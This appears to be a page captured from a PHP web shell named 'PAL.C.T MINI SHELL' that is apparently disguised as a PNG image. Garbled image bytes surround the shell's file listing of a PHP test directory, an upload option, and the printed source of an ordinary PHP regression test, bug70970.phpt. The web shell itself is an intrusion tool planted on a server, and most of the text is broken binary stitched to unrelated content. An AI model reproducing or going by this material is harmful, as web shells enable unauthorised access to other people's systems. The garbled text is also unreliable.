php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/tests/output/
upload
files >> //opt/php-7.0.1/tests/output/bug70970.phpt

--TEST--
Bug #70970 (Segfault when combining error handler with output buffering)
--FILE--
<?php
function exception_error_handler($severity, $message, $file, $line)
{
	throw new Exception($message, 0);
}

set_error_handler('exception_error_handler');

function obHandler($buffer, $phase = null)
{
	try {
		ob_start();
	} catch (Exception $e) {
		return (string) $e;
	}

	return $buffer;
}

ob_start('obHandler');

print 'test';
?>
--EXPECTF--
Fatal error: ob_start(): Cannot use output buffering in output buffering display handlers in %sbug70970.php on line %d
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`